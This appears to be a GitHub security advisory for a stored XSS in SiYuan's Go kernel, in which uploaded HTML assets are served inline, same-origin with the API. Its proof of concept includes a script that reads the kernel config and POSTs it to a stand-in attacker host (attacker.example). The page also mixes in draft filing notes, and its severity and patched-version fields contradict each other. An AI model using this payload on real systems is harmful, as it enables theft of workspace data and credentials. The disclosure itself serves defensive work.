Skip to content

Stored XSS via arbitrary-file assets served same-origin without Content-Disposition or X-Content-Type-Options, escalating to full kernel API access

Critical
88250 published GHSA-mjf3-jwmf-r6wf Aug 3, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

3.7.3

Patched versions

v3.7.4

Description

Summary

SiYuan lets users attach/embed arbitrary files as "assets" (there is no
file-extension allowlist or denylist on upload). Assets are served back at
GET /assets/*path. For any file that is not specifically .svg or a
thumbnail, the handler falls through to plain http.ServeFile, and the
only place Content-Disposition: attachment is ever set requires the
requester to explicitly pass ?download=true; by default it is never set.
No X-Content-Type-Options: nosniff or Content-Security-Policy header is
applied on this fallback path either (both are only set inside the
SVG-specific branch). This means an .html (or .htm, .xhtml, .svg
with scripting allowed, etc.) file placed anywhere under a workspace's
assets directory is served inline with Content-Type: text/html
(auto-detected from the file extension), same-origin with the kernel's own
API. Any script inside it executes with full access to fetch() every
/api/* endpoint using the viewer's ambient session, i.e. full read/write
access to all notebooks and every admin-only action covered elsewhere in
this review (SQL console, pandoc conversion, settings, etc.) if opened by
the workspace owner. This is CWE-79 (Stored Cross-Site Scripting) with a
CWE-434 (Unrestricted Upload of File with Dangerous Type) contributing
factor, and it is a well-precedented vulnerability class in note-taking
apps that support file attachments.

Details

kernel/server/serve.go, setAssetsAttachmentDisposition() (line 682):

func setAssetsAttachmentDisposition(c *gin.Context, pathForBaseName string) {
    if !strings.EqualFold(c.Query("download"), "true") {
        return
    }
    c.Header("Content-Disposition", formatContentDispositionAttachment(filepath.Base(pathForBaseName)))
}

Only sets the header when the caller opts in via ?download=true. Nothing
in the codebase forces this parameter when serving a file whose type is
unsafe to render inline.

serveAssets() (line 689), the general non-SVG, non-thumbnail fallback
(the final lines of the /assets/*path handler):

// 返回原始文件
setAssetsAttachmentDisposition(context, p)
http.ServeFile(context.Writer, context.Request, p)

setAssetsAttachmentDisposition here is a no-op unless download=true is
present on the request. http.ServeFile (Go standard library) sets
Content-Type based on mime.TypeByExtension for the file's extension
(.html/.htm map to text/html), or content-sniffs the body if the
extension is unrecognized, with no involvement from SiYuan's own code.

Compare to the SVG-specific branch, serveSVG() (line 774), which does
explicitly set X-Content-Type-Options: nosniff and, when
Conf.Editor.AllowSVGScript is false (the default), a restrictive CSP and
script sanitization. This shows the maintainers are already aware that
served assets need this hardening, they applied it specifically for SVG,
but the identical concern for HTML-typed files (arguably a more directly
dangerous type, since it needs no sanitizer bypass at all, just an
unmodified <script> tag) was not addressed on the general fallback path.

Upload has no extension restriction. kernel/model/upload.go's Upload()
handler (used by POST /upload, CheckAuth+CheckAdminRole+
CheckReadonly) only lower-cases the extension for filename
normalization; there is no allowlist or denylist of file types anywhere in
the function. Any file type a user drags into a note as an attachment,
including .html, becomes an asset with no special handling.

The asset-serving route itself, GET /assets/*path
(kernel/server/serve.go:692), is gated only by CheckAuth (not
CheckAdminRole), consistent with assets needing to be reachable by
lower-privileged publish-site visitors too; non-admin access is separately
restricted to assets covered by publish-access rules
(CheckAbsPathAccessableByPublishAccess), but the workspace owner's own
admin session can reach any non-encrypted asset directly, which is the
primary path this finding is concerned with.

PoC

# 1. Upload an HTML file as an asset (as the authenticated workspace owner,
#    e.g. via drag-and-drop attachment in the UI, or directly via the API):
curl -s -u "<workspaceName>:<accessAuthCode>" \
  -F "file[]=@payload.html" \
  http://<target>:6806/upload

# payload.html contents:
# <script>
#   fetch('/api/system/getConf', {method:'POST'})
#     .then(r => r.text())
#     .then(t => fetch('https://attacker.example/exfil', {method:'POST', body:t}));
# </script>

# 2. Note the returned asset path, e.g. assets/payload-<id>.html

# 3. Fetch it back with no special parameters:
curl -s -u "<workspaceName>:<accessAuthCode>" \
  http://<target>:6806/assets/payload-<id>.html -D -
# Response headers include no Content-Disposition (since ?download=true was
# not passed) and no X-Content-Type-Options; Content-Type is text/html.

If the workspace owner (or anyone else who can reach this asset per the
publish-access rules) opens this URL directly in a browser, e.g. by
clicking an attachment link SiYuan's own UI renders for the note that
embeds it, the script executes same-origin with the kernel and can call
any /api/* endpoint using the viewer's session.

(Not run end-to-end against a live compiled kernel, same sandbox
limitation as prior findings; the header-setting logic and its gap are
read directly from the two functions quoted above, and http.ServeFile's
content-type behavior is standard, well-documented Go standard library
behavior, not something inferred.)

Impact

Any user of SiYuan who ends up with an HTML (or similarly script-capable)
file among their note assets, whether by attaching it themselves, receiving
it via a shared/synced workspace, importing it from an external source, or
via any of the other file-write paths covered elsewhere in this review, and
then opens it (a completely ordinary action for any other attachment type,
like opening a PDF or image), grants that file's script full access to
every kernel API endpoint as themselves. For the workspace owner this means
complete compromise: read/write access to every notebook, the ability to
trigger the pandoc RCE and every other admin-only action documented in this
review, and exfiltration of the workspace's AccessAuthCode and any stored
credentials reachable via the API.


## Affected products

| Field | Value |
|---|---|
| Ecosystem | **Go** |
| Package name | `github.com/siyuan-note/siyuan/kernel` |
| Affected versions | `<= 3.7.3` (confirmed present in 3.7.3) |
| Patched versions | *(none yet, leave blank until a fix is released)* |

## Severity

| Field | Value |
|---|---|
| Vector string | `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H` |
| Score | **8.8 (High)**. Network attack vector, low complexity, low privileges to place the file (or none, if it arrives via a shared/synced/imported source), user interaction required (opening the asset), scope change since script execution in the asset's rendering context leads to full kernel API compromise beyond that context, complete confidentiality/integrity/availability impact once the API is reachable. |

## Weaknesses (CWE)

- **CWE-79**: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (primary)
- **CWE-434**: Unrestricted Upload of File with Dangerous Type (contributing)
- **CWE-693**: Protection Mechanism Failure (the nosniff/CSP/Content-Disposition hardening exists elsewhere in the same file for SVG but was not applied to the general case)

## Notes for filing
- This is a different root cause from the template SSTI/SQLi advisory
  (different subsystem entirely: HTTP asset serving, not the template
  engine) and from the pandoc RCE advisory, though all three ultimately
  demonstrate the same broader pattern seen throughout this review:
  protective logic that exists in one place in this codebase is not applied
  consistently everywhere the same risk appears.
- Suggested fix direction: unconditionally set `X-Content-Type-Options:
  nosniff` on every response from `/assets/*path`, and either always set
  `Content-Disposition: attachment` for any content-type capable of
  script execution when rendered (`text/html`, `application/xhtml+xml`,
  and any type not on an explicit safe-to-render-inline allowlist like
  common image/audio/video/PDF types), or restrict inline rendering to a
  small allowlist of known-safe types the way `serveSVG` already
  special-cases SVG specifically.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Unrestricted Upload of File with Dangerous Type

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment. Learn more on MITRE.

Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. Learn more on MITRE.

Credits